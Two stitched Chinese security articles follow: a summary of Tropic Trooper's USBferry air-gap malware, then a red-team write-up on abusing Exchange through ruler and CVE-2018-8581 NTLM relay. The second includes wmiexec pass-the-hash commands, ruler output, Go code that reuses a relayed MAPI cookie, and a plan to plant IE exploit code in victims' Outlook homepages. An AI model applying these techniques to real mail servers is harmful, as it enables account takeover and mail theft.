近期发现Tropic Trooper在利用USBferry进行攻击,主要针对台湾和菲律宾的物理隔离网络,还发现了军事/海军机构,政府机构,军事医院甚至国家银行等受害目标。USBferry是一种USB恶意软件,可以对特定目标执行不同的命令,在目标环境中隐藏自身,通过USB存储设备窃取关键数据。USBferry自2014年以来一直保持活跃,该组织专注于从目标网络窃取与国防,海洋和船舶有关的文档。

版本分析

目前已发现USBferry恶意软件的三个版本,以下是分析要点:

第一个版本具有TROJ_YAHOYAH的一小部分。 该恶意软件会检查目标计算机是否有USB插件,并将USBferry安装程序复制到USB中,从而执行命令,获取目标文件或文件夹列表,将文件从物理隔离的主机复制到受感染的主机等。    

第二个版本与第一个版本功能相同,并将组件组合成一个可执行文件。该版本还将恶意软件的位置及其名称更改为UF,即USBferry的缩写。    

第三个版本保留了先前版本的功能,并提高了其在目标环境中的隐蔽性。

技术分析

该组织通过USB蠕虫感染策略,将USB将恶意软件安装到物理隔离主机中来实现感染。    

下图分析了在UF1.0 20160226版本中该组织的攻击链:

1、诱饵文件首先植入flash_en.inf DLL文件(即USBferry加载器),然后加载加密的USBferry恶意软件

2、加密的USBferry恶意软件嵌入在加载程序资源中,加载程序将其放入C:\Users\Public\Documents\Flash 文件夹并命名为flash.dat

3、加载有效负载后,加载程序会将恶意DLL注入rundll32.exe,USBferry恶意软件还会加载C&C配置文件和flash_en.dat,它们也位于C:\Users\Public\Documents\Flash

4、USBferry恶意软件尝试连接到c&c,并使用Windows命令收集/复制目标主机数据。

如果发现网络不可用,它将尝试从目标计算机收集信息,并将收集的数据复制到USB存储设备中,等待可访问网络后再发送。    

接下来介绍Tropic Trooper使用的后门:    

WelCome To Svchost 3.2 20110818后门(检测为BKDR_SVCSHELL.ZAHC-A)。 根据恶意软件的版本号,此后门的第一个版本是在2011年或之前开发的,这意味着Tropic Trooper攻击活动已经进行了至少十年。    

WelCome To IDShell 1.0 20150310后门(检测为BKDR_IDSHELL.ZTFC-A),此后门具有两种类型,其中包括隐写jpg版本,目的是对目标计算机进行侦察。    与其他版本一样,它使用DNS协议与服务器通信,并加密通信流量来逃避检测。    

Hey! Welcome Server 2.0’s后门(检测为BKDR_TEBSHELL.ZTGK),这是最新版本后门,有32位和64位版本,它使用不可见的Web Shell远程控制目标。它会以服务的形式运行,将后门通信隐藏在正常流量中,并使用自定义的TCP协议。    

Tropic Trooper在攻击中还使用了其他工具,例如:

1、多版本Command-line远程侦听/端口中继工具,可与目标后门进行通信。    

2、后门/隐写载荷加载器,可用加载加密的有效载荷并删除自身和有效载荷。

3、端口扫描工具。

隐写术不仅用于传递加密的有效载荷,也可以将信息传输到C&C服务器。Tropic Trooper使用不可见的Web Shell来隐藏其C&C服务器位置,使事件响应分析变得更加复杂。    

MITRE ATT&CK Matrix

解决方案

Tropic Trooper最新发现表明,它们已经可以针对政府机构和军事机构窃取情报。该组织还需要很长时间来执行前期侦察,渗透到物理隔离的网络中。可以采取以下措施来阻止高级持续性威胁:

1、强制执行最小特权原则,使用网络分段和数据分类来阻止横向移动。    

2、保持系统及其应用程序更新,实行补丁管理策略。

3、定期监察网关,端点,网络和服务器之间的检测响应,及时发现各种网络安全威胁。防火墙和入侵检测系统可以帮助发现阻止网络攻击。

*参考来源:trendmicro,由Kriston编译,转载请注明来自FreeBuf.COM

上回我们说到,通过ruler可以给已知用户名、口令的用户增加规则,从而在使用Outlook连接Exchange邮箱服务器的主机上做到任意代码执行。那么问题来了,如果不知道该用户的口令,能否控制他们的主机呢?

数据包分析

首先需要明白ruler的具体实现过程和原理,到底是如何给其他用户增加规则、修改主页、发送form的。但是大致上我们可以猜测是给Exchange服务器对应的接口发送了几个数据包做到的。

这些数据包发送到了哪个接口,需要从接口处获得什么作为返回,以便进行下一次的请求。

因此需要对ruler的源码进行阅读同时结合对它发数据包的分析弄清楚整个的流程。

采用Fiddler对ruler的数据包进行解密(试过BurpSuite,但是它对NTLM认证的支持不好,会造成认证失败)

在Fiddler中进行如下操作,最后勾选 Decrypt HTTPS traffic 就能够对发送的流量进行解密。

Tools

Options

HTTPS

Capture HTTPS CONNECTs

Decrypt HTTPS traffic

ruler自带了proxy选项,只需设置proxy为Fiddler监听的8888端口就能成功抓取到对应流量

--proxy value   If you need to use an upstream proxy. Works with https://user:[email protected]:port or https://ip:port

当通过ruler命令 homepage display 查看某用户的收件箱主页时,收发数据包的具体动作如下,共有6个数据包,并且认证的方式是 HTTP Basic 身份认证。当用户访问受限资源时,服务器会返回401状态码要求进行身份认证,身份认证成功之后会进行6个请求,首先请求了 autodiscover/autodiscover.xml 页面,接着在获取了对应邮箱的 MailboxId 之后向对应的mapi接口发送了mapi请求,获得请求结果。    图片

CVE-2018-8581

一个非常经典的漏洞,网上分析该漏洞的文章也较多。通过该漏洞能允许任意用户伪装成Exchange服务器上的其他任何人。通过向SOAP请求向Exchange服务器发送请求能让Exchange服务器向制定的IP地址发送NTLM hash,该hash值可以被我们用来重新与Exchange服务器进行交互,并且该hash值是在 NT\AuthoritySytem上运行的 ,权限很大。

这说白了就是一种中间人攻击,使用管理员权限的令牌去对其他的用户账户进行相应的设置了。

最初的攻击方式其一是通过NTLM中继读到登录域控的任意用户的NTLMhash,这样就能够登录到该用户主机执行任意命令。

python wmiexec.py -hash LMhash:NThash [email protected]
python wmiexec.py -hashes :NThash [email protected]

其二是通过NTLM中继以Exchange Server的权限向Exchange Server发送SOAP请求,将某一用户的收件箱委托到当前已经获取用户名及口令的账户上。这样就能以当前已经获取用户名及口令的账户读取其他用户的邮件了。网上大多数的攻击脚本都采用的上面提到的两种攻击方法。

另辟蹊径

很多的漏洞随着时间会渐渐淡出人们的生活,这个周期通常需要一两年,当厂商提出某种新的漏洞利用缓解方式之后,有些漏洞便无法再使用了。如何抓住厂商完善产品“空窗期”,利用漏洞或者某种特性,做更多的事情,是渗透测试人员在每一次红队行动中需要思考的问题。

下载其他用户的邮件

通过高权限的用户token以及SOAP请求,也能够下载其他用户的邮件。SOAP请求的内容需参考微软的文档

最后做到的效果就是通过python编写的脚本中继pubsubscription的请求,继而修改其他用户收件箱文件夹的权限为 Editor 。修改文件夹权限的关键在于

通过已经获取的账户用户名及口令登录,能够读取其他用户收件箱中的邮件。读取邮件的代码需要用 C# 进行编写,使用 EWS Managed API 开发

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications#create-your-first-ews-application

给其他用户添加Rule规则

通过之前的抓包我们发现ruler与exchange进行交互的方式仍然是HTTP Basic Auth的方法。这样利用 CVE-2018-8581 的漏洞就能以管理员的权限成功通过认证。希望能够结合中继的请求认证方式,给其他的用户增加rule规则。因为ruler的作者自己实现了一套MAPI的规则,代码全部由golang编写,并且代码量很大。权衡了一下工作量,还是用go语言重写relayNTLM更容易一些,通过NTLM认证之后给其他用户添加规则。

首先要弄清楚的是这6个请求之间的逻辑关系,即在发送后一个请求之前需要从前一个请求当中获取什么信息。

执行ruler并加上 --verbose 参数

$ ./ruler --nocache --insecure --verbose --username user3 --email [email protected] homepage display
Password:
[+] Retrieving MAPI/HTTP info
[*] Autodiscover step 2 - URL: https://internet.local/autodiscover/autodiscover.xml
[*] MAPI URL found:  https://exchange2016.internet.local/mapi/emsmdb/[email protected]
[*] MAPI AddressBook URL found:  
[*] User DN: /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=4a22881a84c9483794236d11d38e9098-user3
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[*] Openning the Inbox
[+] Getting existing endpoint
[+] No endpoint set
[*] And disconnecting from server

除了获取 MailboxId 的请求之外一共有五个请求

1.最开始的请求是获取Context

2.第二个请求是做ROPLogin

3.第三个请求是打开Inbox

4.第四个请求是获得(设置)Rules

5.最后一个请求是关闭连接

前两个请求是发送用户名密码与Exchange进行连接,关键的函数有这样几个,最开始的包发送到 autodiscover/autodiscover.xml 进行认证,获取userDN。获取了userDN之后才能进行认证登录。

connect

getMapiHTTP

MAPIDiscvoer

autodiscover

get userDN, userDN是用来认证登录的

调用 mapi.Authenticate 与Exchange进行登录交互认证,这个过程发送了两个数据包,分别在 sendMapiConnectRequestHTTP 函数以及 AuthenticateFetchMailbox 当中实现。

mapi.Authenticate

AuthenticateHTTP

sendMapiConnectRequestHTTP

AuthenticateFetchMailbox

图片

图片

调用 mapi.getFolder 获取Exchange服务器上当前账户的文件夹信息,通常不同的文件夹有不同的FolderID,这个过程中发送了一个数据包。

mapi.getFolder

GetFolder

GetFolderFromID

图片

接下来根据要实现的功能进行调用研究,对于getrules的功能,构造好getrules的请求,这个过程只发送了一个数据包。

displayRules

printRules

mapi.FetchRules

图片

发送数据包断开连接,经过实验,这个数据包最后也可以舍弃掉,断不断开无所谓,入了就是入了。

mapi.Disconnect

图片

长连接的模拟

在修改程序攻击脚本的过程中遇到了长连接的问题,因为HTTP Basic认证需要在同一个TCP连接中发送和接受数据,所以两次请求的过程中必须保证使用的是同一个TCP连接。用python进行长连接请求用的是 http.client 包当中的 HTTPSConnectionHTTPConnection 类。通过这两个类生成长连接发送POST和GET请求。

在golang当中需要类似的方法保持连接并发送POST和GET数据包,搜索了一段时间发现调用 http.Client 类当中的 Do 方法能够发送请求。并且如果将 Client 类变成全局变量就能实现每次发送数据都通过同一个TCP连接。

var tr *http.Transport
var client *http.Client

Cookie设置

go语言当中也能对Cookie进行设置,它也用一个 http.Client 类,初始化的时候提供一个 cookiejar 变量作为参数,长连接中会自动根据返回头中的 Set-Cookie 值设置 cookiejar 中的Cookie 并在下一次请求中携带 Cookie

    tr = &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    jar, _ := cookiejar.New(nil)
    client = &http.Client{Transport: tr, Jar: jar}

是否有办法通过Cookie的设置减少需要中继的请求数量?在测试的过程中打印出 cookiejar 中的键值对,查看每次请求过程中发送到服务器上的cookie值。

u, _ := url.Parse(MAPI_URL)
for _, cookie := range client.Jar.Cookies(u){
    fmt.Printf("%v = %v\n", cookie.Name, cookie.Value)
}

经过实验发现每次请求和返回会加上一个 MapiSequence 的Cookie, - 前面的数字表示请求的数据包顺序值, - 后面的内容是随机生成的4个字节进行编码后的结果,这个内容不是和用户帐号绑定的,每次生成的字节内容都不一样。前面的数字表示整个Mapi请求进行到了第几阶段,一整套的Mapi请求共有5次,这个数字会从0增长到4。图片

MapiSequence = 1-VQjiZg==

减少或者跳过其中的步骤会导致认证失败,增加rule规则的话必须得完成前4次交互(最后一次交互断开连接可以不要)。但在有了Cookie的值之后,只要在客户端设置好了Cookie就不用在请求的过程中带上 Authorization ,也就是说不用中继5次NTLM认证了。一次中继之后获得cookie,就能够用这次获得的cookie进行下面的4次请求。

修改其他用户的HomePage

接收到的请求包含了UserAgent,不包含Cookie。UserAgent当中有使用的Outlook版本以及.NET版本、Windows版本、解析html的ie库版本。其中Trident标签在IE8之后都存在,并且是使用的IE浏览器版本号减4。

$ ncat -lvv -p 8000
Ncat: Version 7.80 ( https://nmap.org/ncat )
[...]
GET / HTTP/1.1
Accept: */*
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Microsoft Outlook 16.0.4266)
Host: 192.168.110.100:8000
Connection: Keep-Alive

也就是说修改了用户HomePage之后可以获得对方使用的 Outlook 软件版本信息。修改homepage后在主页代码插入漏洞利用代码,通过IE中存在的漏洞获取用户权限。

攻击效果展示

攻击的过程是通过python脚本让Exchange服务器发送push_subscription请求,同时用golang脚本在本机启动中继服务器,监听端口获得HTTP请求的headers,中继服务器会将请求重新转发到Exchange服务器上,实现任意账户规则的添加。

https://www.bilibili.com/video/BV1kT4y1E7Jj

如果需要中继添加规则的go语言代码可以私信我。

防御办法

将Office更新到最新版本

文件

Office账户

Office更新

更新了之后删除了执行应用程序以及脚本的功能,同时在form表单中无法执行相应的“宏”代码了。

*本文作者:Kriston,转载请注明来自FreeBuf.COM